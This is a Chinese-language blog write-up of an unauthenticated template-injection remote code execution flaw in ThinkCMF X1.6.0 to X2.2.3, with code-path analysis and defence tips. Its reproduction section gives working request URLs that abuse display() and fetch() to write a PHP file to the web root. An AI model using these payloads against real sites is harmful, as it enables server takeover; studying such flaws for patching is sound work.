wywwzjj's Blog

ThinkCMF 前台模板注入 RCE

字数统计: 1.9k阅读时长: 7 min
2019/11/21 Share

概述

ThinkCMF 是一款基于 PHP+MYSQL 开发的中文内容管理框架,底层采用 ThinkPHP3.2.3 构建。

远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。

影响版本

  • ThinkCMF X1.6.0

  • ThinkCMF X2.1.0

  • ThinkCMF X2.2.0

  • ThinkCMF X2.2.1

  • ThinkCMF X2.2.2

  • ThinkCMF X2.2.3

环境搭建

ThinkCMF X2.2.3 下载地址:https://pan.baidu.com/s/1bRXwdg

按照引导安装即可,该框架调试模式默认开启。

image.png

复现

  • 利用 display(),实现任意文件包含。

image.png

  • 利用 display() 写 shell。
http://cmf.com/index.php/index/display/?templateFile=README.md&content=%3C?php%20file_put_contents(%27i.php%27,%27%3C?php%20phpinfo();%20?>%27);

在根目录写入成功。

image.png

  • 利用 fetch() 直接写 PHP 文件。
http://cmf.com/index.php/index/fetch/?content=%3C?php%20file_put_contents(%27i.php%27,%27%3C?php%20phpinfo();%20?%3E%27);

在根目录写入成功。

image.png

分析

目录结构

|--admin                      管理后台URL重定向目录,你可以将文件夹名改为任何你喜欢的
|--themes 后台模板文件目录
|--application 应用目录
|--Admin 后台管理应用
|--Api 公共接口
|--Asset 资源管理应用
|--Comment 评论应用
|--Common 应用公共模块
|--Portal 门户应用
|--Controller 必须目录,存放应用的操作模块如:IndexController.class.php
|--Conf 可选,应用配置文件存放目录,如应用无配置文件则不需要
|--Common 可选,应用函数库,如无则不需要
|--Lang 多语言包(可选)
|--Menu 后台菜单(可选)
|--Model 模型(可选)
|--nav.php 前台导航文件(可选)
|--data 各类数据存放目录,包括缓存数据
|--simplewind 核心包,无特殊情况请勿改动
|--public 静态文件存放包,包含bootstrap资源
|--themes 前台模板文件目录

先回顾一下如何正常访问一个控制器,比如 Portal 下 IndexController.class.php 中的 index 方法。

class IndexController extends HomebaseController {
public function index($name) {
echo "Hello, $name~<br>" . "This is index of IndexController.";
}
}

按照 ThinkPHP 提供的方法,可以是 index.php/portal/index/index/name/wywwzjj。(portal 是默认模块)

image.png

一般来说,ThinkPHP 的控制器是一个类,而操作则是控制器类的一个公共方法

也就是说,我们可以使用这种方式来调用任意的 public 方法。

注意到 IndexController 类继承了 HomebaseController,这有一系列继承。

class IndexController extends HomebaseController {
class HomebaseController extends AppframeController {
class AppframeController extends Controller {
abstract class Controller {

当扩展一个类,子类就会继承父类所有公有的和受保护的方法。除非子类覆盖了父类的方法,被继承的方法都会保留其原有功能。

所以 IndexController 类有了父类的所有方法,这里列举一下所有 public 方法,说不定可以组合利用。

// abstract class Controller

public function __construct() // 架构函数,取得模板对象实例
public function __destruct()
public function __get($name)
public function __set($name, $value)
public function get($name = '') // 取得模板显示变量的值
public function __isset($name) // 检测模板变量的值
public function __call($method, $args) // 没戏,写死了,没有实现动态调用

// class AppframeController

public function _empty() // 爆了个页面不存在的错
public function theme($theme) // 模板主题设置

// class HomebaseController

public function __construct() // 覆盖掉父类的
public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') // 加载模板和页面输出 可以返回输出内容
public function parseTemplate($template = '') // 自动定位模板文件
public function fetch($templateFile = '', $content = '', $prefix = '') // 获取输出页面内容

目前来看,能造成敏感操作只有 display()fetch() 了,继续跟进。

display

public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
parent::display($this->parseTemplate($templateFile), $charset, $contentType, $content, $prefix);
}

parseTemplate() 前面一大段没有对 template 进行处理,然后是文件就直接返回,这里不用关心了。

// HomebaseController.class.php line 170
if (is_file($template)) {
return $template;
}

继续

/**
* 模板显示 调用内置的模板引擎显示方法,
* @access protected
* @param string $templateFile 指定要调用的模板文件
* 默认为空 由系统自动定位模板文件
* @param string $charset 输出编码
* @param string $contentType 输出类型
* @param string $content 输出内容
* @param string $prefix 模板缓存前缀
* @return void
*/
protected function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
$this->view->display($templateFile, $charset, $contentType, $content, $prefix);
}

$this->view->display()

/**
* 加载模板和页面输出 可以返回输出内容
* @access public
* @param string $templateFile 模板文件名
* @param string $charset 模板输出字符集
* @param string $contentType 输出类型
* @param string $content 模板输出内容
* @param string $prefix 模板缓存前缀
* @return mixed
*/
public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
G('viewStartTime');
// 视图开始标签
Hook::listen('view_begin', $templateFile);
// 解析并获取模板内容
$content = $this->fetch($templateFile, $content, $prefix);
// 输出模板内容
$this->render($content, $charset, $contentType);
// 视图结束标签
Hook::listen('view_end');
}

继续看 fetch() 的实现。

if ('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板,默认为 Thinkphp
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content) ? include $templateFile : eval('?>' . $_content);
} else {
// 视图解析标签
$params = array('var' => $this->tVar, 'file' => $templateFile, 'content' => $content, 'prefix' => $prefix);
Hook::listen('view_parse', $params);
}

在这完成的文件读取。

image.png

然后编译模板。

// 编译模板内容
$tmplContent = $this->compiler($tmplContent);
Storage::put($tmplCacheFile, trim($tmplContent), 'tpl');

编译的过程中还稍微做了下安全处理,这里能绕吗?能!

// 添加安全代码
$tmplContent = '<?php if (!defined(\'THINK_PATH\')) exit();?>' . $tmplContent;
// 优化生成的php代码
$tmplContent = str_replace('?><?php', '', $tmplContent); // 这一句反而帮了倒忙

再写入临时文件,其中文件名是 $templateFile 的 md5 哈希值。

最终 include 这个模板。

image.png

文件包含到这里就结束了,相比 fetch,他多了个 render 的方法来进行输出,所以有回显。

继续看如何写 shell,str_replace 是怎么帮的倒忙。

作者原意是在模板前面加入退出语句,使得必须从单入口进入,但有了 include 之后,这个也不用管啦。

结合这个替换,模板内容中的 PHP 语句可以直接拼接上去,比如复现中给出的 payload 产生的效果:

<?php if (!defined('THINK_PATH')) exit(); file_put_contents('i.php','<?php phpinfo(); ?>');

fetch

有了上面的铺垫,fetch 这里分析起来就更简单了,而且不再需要传 templateFile 参数。

public function fetch($templateFile = '', $content = '', $prefix = '') {
$templateFile = empty($content) ? $this->parseTemplate($templateFile) : '';
return parent::fetch($templateFile, $content, $prefix);
}

最终处理的方法是一样的,不再赘述。

Comment 模块和 Api 模块都能调用到 fetch,所以也是触发点。

存在 SSTI 漏洞的 CMS 合集:https://xz.aliyun.com/t/5568

总结

如果参数可控且不转义 <>,可以利用的还有$this->show(),这三个方法在 TP3 上是通用的。

看了一下其他人的分析文章,发现有些被带偏了,真的需要模板标签吗?display 真的不能写 shell 吗?

话说回来,如果 <? 这种标签被过滤掉了,确实可以通过模板标签 <php></php> 解析来绕一下。

如何防御?最简单的就是将这些本不该 public 的方法“私有化”,最好的还是将传入参数尖括号编码。

不过,即使不能直接访问了,结合一些反序列化链这些方法或许还能利用。

参考

https://blog.riskivy.com/thinkcmf-%E6%A1%86%E6%9E%B6%E4%B8%8A%E7%9A%84%E4%BB%BB%E6%84%8F%E5%86%85%E5%AE%B9%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/

https://mochazz.github.io/2019/07/25/ThinkCMFX%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%90%88%E9%9B%86

CATALOG
  1. 1. 概述
  2. 2. 环境搭建
  3. 3. 复现
  4. 4. 分析
    1. 4.1. display
    2. 4.2. fetch
  5. 5. 总结
  6. 6. 参考